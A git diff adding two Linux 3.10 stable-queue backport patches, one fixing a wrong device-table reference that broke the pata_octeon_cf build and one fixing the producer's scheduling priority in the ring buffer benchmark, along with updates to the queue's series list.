a/queue-3.10/pata_octeon_cf-fix-broken-build.patch b/queue-3.10/pata_octeon_cf-fix-broken-build.patch new file mode 100644 index 00000000000..416ff1741f6 --- /dev/null +++ b/queue-3.10/pata_octeon_cf-fix-broken-build.patch @@ -0,0 +1,31 @@ +From 4710f2facb5c68d629015747bd09b37203e0d137 Mon Sep 17 00:00:00 2001 +From: Aaro Koskinen +Date: Mon, 8 Jun 2015 11:32:43 +0300 +Subject: pata_octeon_cf: fix broken build + +From: Aaro Koskinen + +commit 4710f2facb5c68d629015747bd09b37203e0d137 upstream. + +MODULE_DEVICE_TABLE is referring to wrong driver's table and breaks the +build. Fix that. + +Signed-off-by: Aaro Koskinen +Signed-off-by: Tejun Heo +Signed-off-by: Greg Kroah-Hartman + +--- + drivers/ata/pata_octeon_cf.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +--- a/drivers/ata/pata_octeon_cf.c ++++ b/drivers/ata/pata_octeon_cf.c +@@ -1068,7 +1068,7 @@ static struct of_device_id octeon_cf_mat + }, + {}, + }; +-MODULE_DEVICE_TABLE(of, octeon_i2c_match); ++MODULE_DEVICE_TABLE(of, octeon_cf_match); + + static struct platform_driver octeon_cf_driver = { + .probe = octeon_cf_probe, diff --git a/queue-3.10/ring-buffer-benchmark-fix-the-wrong-sched_priority-of-producer.patch b/queue-3.10/ring-buffer-benchmark-fix-the-wrong-sched_priority-of-producer.patch new file mode 100644 index 00000000000..ef17d7e5ccd --- /dev/null +++ b/queue-3.10/ring-buffer-benchmark-fix-the-wrong-sched_priority-of-producer.patch @@ -0,0 +1,33 @@ +From 108029323910c5dd1ef8fa2d10da1ce5fbce6e12 Mon Sep 17 00:00:00 2001 +From: Wang Long +Date: Wed, 10 Jun 2015 08:12:37 +0000 +Subject: ring-buffer-benchmark: Fix the wrong sched_priority of producer + +From: Wang Long + +commit 108029323910c5dd1ef8fa2d10da1ce5fbce6e12 upstream. + +The producer should be used producer_fifo as its sched_priority, +so correct it. + +Link: http://lkml.kernel.org/r/1433923957-67842-1-git-send-email-long.wanglong@huawei.com + +Signed-off-by: Wang Long +Signed-off-by: Steven Rostedt +Signed-off-by: Greg Kroah-Hartman + +--- + kernel/trace/ring_buffer_benchmark.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +--- a/kernel/trace/ring_buffer_benchmark.c ++++ b/kernel/trace/ring_buffer_benchmark.c +@@ -455,7 +455,7 @@ static int __init ring_buffer_benchmark_ + + if (producer_fifo >= 0) { + struct sched_param param = { +- .sched_priority = consumer_fifo ++ .sched_priority = producer_fifo + }; + sched_setscheduler(producer, SCHED_FIFO, ¶m); + } else diff --git a/queue-3.10/series b/queue-3.10/series index 6f91e9352b3..ea5af98ca4c 100644 --- a/queue-3.10/series +++ b/queue-3.10/series @@ -16,3 +16,12 @@ input-elantech-fix-detection-of-touchpads-where-the-revision-matches-a-known-rat block-fix-ext_dev_lock-lockdep-report.patch usb-cp210x-add-id-for-hubz-dual-zigbee-and-z-wave-dongle.patch usb-serial-ftdi_sio-add-support-for-a-motion-tracker-development-board.patch +ring-buffer-benchmark-fix-the-wrong-sched_priority-of-producer.patch +mips-fix-enabling-of-debug_stackoverflow.patch +ozwpan-use-proper-check-to-prevent-heap-overflow.patch +ozwpan-divide-by-zero-leading-to-panic.patch +ozwpan-unchecked-signed-subtraction-leads-to-dos.patch +pata_octeon_cf-fix-broken-build.patch +drm-i915-fix-ddc-probe-for-passive-adapters.patch +mm-memory_hotplug.c-set-zone-wait_table-to-null-after-freeing-it.patch +cfg80211-wext-clear-sinfo-struct-before-calling-driver.patch